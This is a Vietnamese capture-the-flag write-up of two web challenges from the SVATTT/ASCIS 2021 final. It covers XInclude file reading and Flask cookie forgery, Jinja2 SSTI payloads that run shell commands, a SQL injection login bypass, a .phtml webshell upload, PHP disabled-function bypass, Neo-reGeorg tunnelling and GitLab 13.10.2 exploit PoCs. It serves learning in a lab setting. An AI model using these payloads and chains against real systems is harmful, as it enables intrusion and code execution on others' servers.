---
title: ASCIS FINAL 2021 WRITEUP WEB CHALLENGES
tags: ctf
---
Ở post này thì mình sẽ viết wu về 2 bài của cuộc thi SVATTT Final Round 2021 `Web1` và `Web2`.
# Web1 (X-Service)
## Setup
Down source tại [đây](https://github.com/to016/CTFs/tree/main/SVATTT/2021/Final/chongxun-docker-final). Bài này thì mình build trên máy ảo kali và khai thác ở máy window 😅.
## Overview
Access tới thì hiển thị ra cho ta một trang login.

Thử chọn `Login As Guest`, ta sẽ được đưa đến trang sau:

Cho hai ô để nhập, lúc này mình test thử với `xml` và `xpath` như Example và được một popup:

## Phân tích
Đọc qua source file của đề, từ `start.sh`:
```dockerfile=
#!/bin/bash
echo KEY=`python3 -c "import uuid;import hashlib;print(hashlib.md5(uuid.uuid4().hex.encode()).hexdigest())"` > .env
rm flag*
echo ASCIS2021{`cat /proc/sys/kernel/random/uuid | sed 's/[-]//g' | head -c 40`} > flag_`cat /proc/sys/kernel/random/uuid | sed 's/[-]//g' | head -c 20;`
docker-compose up -d --build
```
và các file `docker-compose.yml`, biết được flag sẽ được tạo random và lưu vào một file `flag_<random>`. SECRET_KEY dùng cho flask app sẽ được lấy từ KEY environment variable.
Đề có cho file `xservice_users.db`, có thể thả vào <https://inloop.github.io/sqlite-viewer/> để view:

Mà cái này cũng chả quan trọng trong bài này lắm 😅.
Ở `dashboard.html` có sử dụng `socket.io` và khi ta ấn `Process` sẽ `emit()` một event này với `xml` và `xpath`.
Sau đó trên server sẽ tiếp nhận event này và process với:
```python=
@socketio.on('message')
def handle_message(xpath, xml):
if 'username' in session:
if len(xpath) != 0 and len(xml) != 0 and "&" not in xml:
try:
res = ''
root = ElementTree.fromstring(xml.strip())
ElementInclude.include(root)
for elem in root.findall(xpath):
if elem.text != "":
res += elem.text + ", "
emit('result', res[:-2])
except Exception as e:
emit('result', 'Nani?')
else:
emit('result', 'Nani?')
```
Ngay khi nhìn thấy `ElementInclude.include(root)` mình đã nghi ngờ là XInclude. Thử test trên máy local xem như thế nào:
- Đầu tiên là tạo một file `bla.txt` với content là `bla`
- Sau đó chạy script để test

Ok thành công, nhưng ta sẽ đọc file gì tiếp theo ?. Để ý một tí thì ở route `/login`, tất cả các account đều bị set `session['is_admin']=0`:

Và chỉ khi `session['is_admin']=1` thì mới có thể vào được route `/manage`:

Các bạn có thấy được điều gì thú vị ở đây không 😋, đúng rồi là `render_template_string()` vậy nếu ta có thể control được `session['username']` thì hoàn toàn khai thác được ssti. Mà điểm mấu chốt để làm cho `session['is_admin']=1` và có thể control được `session['username']` là phải có `SECRET_KEY`.
Vậy làm sao để lấy `SECRET_KEY` ? Quay lại ban đầu, ta có `SECRET_KEY` sẽ được set bằng `os.environ.get('KEY')` vậy chỉ cần xinclude `/proc/self/environ` -> có được `SECRET_KEY`. Và dùng `SECRET_KEY` này sign lại hai yếu tố ở trên để ssti và đọc flag.
## Exploit
Leak secret key:

Sau đó sign lại với `is_admin=1` và `username=to^`


Change cookie sau đó access tới `/manage`:

-> Thành công
Tiếp theo sẽ là ssti, để ý trong source code tại route `manage`:
```python
@app.route('/manage')
def manage():
try:
if session['is_admin'] == 1:
if xutils.check_user(session['username']) == True:
return render_template_string('Hello ' + session['username'] + ', under development!')
else:
return render_template_string(session['username'].replace("{{","") + "Not available")
else:
return redirect(url_for('dashboard'))
except:
return redirect(url_for('login'))
```
Vì đề đã replace tất cả `{{` thành rỗng nên mình dùng `{%`. Hmm, suy nghĩ một hồi thì mình quyết định ghi thẳng output command ra file `/home/service/static/output.txt` để có thể xem được từ bên ngoài.
Payload:
```
{% set bla = lipsum.__globals__['os'].popen('ls / > /home/service/static/output.txt').read() %}
```

Cuối cùng là cat flag `{% set bla = lipsum.__globals__['os'].popen('cat /flag_d92ed0e8bdf248ddab56 > /home/service/static/flag.txt').read() %}`:

Hoặc cũng có thể làm theo cách `session.update()`, payload:
```
{% set x=session.update({'flag': lipsum.__globals__['os'].popen('cat /flag_d92ed0e8bdf248ddab56').read()}) %}
```
và sau khi có được session mới ta decode như sau:
```python
import zlib
import base64
session = ".eJwVzdEKgjAUgOFXGYOYQpibLlToIrrqusuKcbZzDEGndBQC8d2r-5_vX2Xbw0s28ny7XG8mN3rVrTV1HopgbV5qXddFebQQfAkYqsLT9ohyLzt2gEMXZaP3cmF6Rxjo56w7wTSLz4mJuRtjtkwIMyWr-o9UI_pu4mXInHv1o4eenburkdUzm8aJYqICzOLwbx3WhjCnymNrygoRvD2qNHsTYJJuqdhtcvsCbWs85g.YsvQQQ.MYxhTqCNzMtRXFCxslpHlalttJg="
print(zlib.decompress(base64.urlsafe_b64decode(session)).decode())
# referece: https://www.youtube.com/watch?v=mhcnBTDLxCI
```
output:
```
{"flag":"ASCIS2021{1f5290c3c550411993465acb4adc83be}\n","is_admin":1,"username":"{% set x=session.update({'flag': lipsum.__globals__['os'].popen('cat /flag_d92ed0e8bdf248ddab56').read()}) %}"}
```
---
# Web2
Bài này thì mình hơi tốn thời gian ở công đoạn setup một tí và khi build được thì cũng không vui vẻ lắm lí do thì là đây:

🥺 Nói thật thì mình cũng không rõ tại sao, chắc có lẽ một phần phải build gitlab nên háu tài nguyên. Trong lúc làm thì phải restart/remove container liên tục vì ... bị đơ. Nhưng dù sao thì challenge này cũng rất hay và thực tế vì nó mô phỏng lại một lỗ hổng bảo mật liên quan tới gitlab.
## Setup
Source code các bạn có thể down tại [đây](https://drive.google.com/file/d/1JxN4qlLHlM8ORAyj4uVHFc7CZhsH--90/view).
Trong lúc setup thì mình có phát hiện một vài chỗ cần config lại để có thể build được, cụ thể ở file `Docker` của thư mục `php` chỉnh khúc đầu lại thành:

## Overview
Nhìn vào file `docker-compose.yml` ta biết được có 3 services: `php`, `mariadb` và `web`. Trong đó 2 services `mariadb` và `web` thì chạy trong internal network của container.
Access tới <http://127.0.0.1:1337> thấy được một trang login:

## Phân tích
Ở `login.php`, ta chú ý đoạn code:

`$password` không được "escape string" như `$name` vì vậy mình nghĩ có thể sqli được. Và tiếp tục để `$error` không bị set thành true thì phải thỏa `regexpasswd($pass)==true`
Hàm này nằm trong `lib.php`, click vào để xem nó hoạt động như thế nào:

hmm, password thỏa biểu thức `$regex` thì sẽ được trả về là `True`. Sau một hồi test trên <https://regexr.com/> thì mình tìm được một test case match:

Cuối cùng, để thỏa điều kiện trong `login.php`:

=> `username=chongxun` và `password=aA0!cdc8' or username= 'chongxun`
Login thành công:

Fuzz tiếp thì ở tính năng `My accounts`:

sẽ dẫn ta đến `account.php` và cho phép upload ảnh:

Vào source file `upload.php`, file upload sẽ được move đến `./images/upload/` và phải thỏa các điều kiện:
- File là một valid image
- File chưa tồn tại ở `./images/upload/`
- File's size <= 500000
- Extension không được là `.php, .phar, .pht`

=> Mục tiêu vẫn là upload một webshell.
Để file là một valid image thì ta có dể upload một php shell nhưng các byte đầu sẽ là `GIF98a`. Còn về phần bypass extension thì exec vào container ta thấy ngoài các extension bị filter vẫn có thể dùng `phtml`:

Thử up một php file echo ra `bla`:

Kết quả:

Nhìn vào `php.ini` các function bị disable khá nhiều nhưng ta vẫn có thể dùng các POC đã pulic để bypass disable functions. Cụ thể mình sử dụng <https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php> (nhớ lưu ý version của php, trong trường hợp này version trên server là php7.4)

Thử command `id`:

RCE thành công nhưng ... làm gì tiếp theo, ta biết mục đích cuối cùng là run `/readflag` ở service `web` chạy gitlab nhưng hiện tại chỉ RCE được ở `php`. Tới đây bởi vì có thể dùng `curl` nên mình đã áp dụng POC của git lab 13.10.2. Xem ở <https://www.exploit-db.com/exploits/50532> nhưng sau khi làm theo thì không work 😢.
Tới đây stuck quá nên tham khảo [wu](https://nemo123.gitbook.io/ctf/final-svattt-2021) của đàn anh n3mo.
-> Muốn áp dụng POC thì ta cần phải access được vào gitlab và a n3mo sử dụng một tool là [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg/blob/master/README-en.md). Cách hoạt động của nó thì các bạn có thể tham khảo thêm tại [đây](https://www.ddosi.org/neo-regeorg/), [đây](https://www.programmersought.com/article/26576439009/), [đây](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/?fbclid=IwAR2mPDSiAVXyCMB4pNnFkKj2WSzbiMBji3khoyO_4aTc0umo2HzeUWPCcDY) và [đây](https://chowdera.com/2022/169/202206180854560209.html) ...
Hoặc các bạn có thể đi phân tích mô hình hoạt động của nó:

(Dùng [tool](https://translate.yandex.com/ocr?) này để dịch nè)
## Exploit
Tạo tunnel server với:
`python neoreg.py generate -k password`
Dùng `curl` để download `tunnel.php` trên server:

Kết nối tới web server và tạo một socks5 proxy bằng lệnh:`
python neoreg.py -k password -u ttp://127.0.0.1:1337/images/upload/tunnel.php
`

Sau đó tải add-on FoxyProxy và setup socks5:

Access trực tiếp tới IP của `web` service trong container:

Hmmm, lúc này khi tạo acc xong sign in thì bị báo lỗi phải cần admin approval mình cũng không rõ lắm tại sao bởi vì cái này đã được setup khi chạy lệnh cuối trong `run.sh`:
```
docker exec -it gitlab-13.10.2-ee.0-internal gitlab-rails runner "Gitlab::CurrentSettings.update!(require_admin_approval_after_user_signup: false)"
```
à nhắc mới nhớ khi chạy lệnh này thì terminal bị đơ và có lẽ vì vậy nên không work.
Do thế mình login vào thẳng admin account `root:###CENSORED###` (pass đã set ở `docker-compose.yml`) sau đó check rồi uncheck `Require admin approval for new sign-ups` và Save changes.

Cuối cùng cũng login được 😃:

Vì ta đã sign in rồi nên chuyển qua POC [này](https://www.exploit-db.com/exploits/49951). Thử upload file một file ảnh bình thường để xem response của server
Response:

Và nhận thấy ta có thể access trực tiếp tới được:

Exec thẳng vào container xem thử thì ta được quyền ghi ở thư mục này:

Tạo lại payload để ghi flag ra thư mục mà ta có thể access tới - do không khai thác được theo kiểu [OOB](https://notsosecure.com/out-band-exploitation-oob-cheatsheet) (ở đây tại vì mình build chall trên window nên phải chạy qua linux để run script tạo payload 😌):

Upload image:

Nó để failed nhưng server vẫn thực thi command:

Và flag:

###### tags: ctf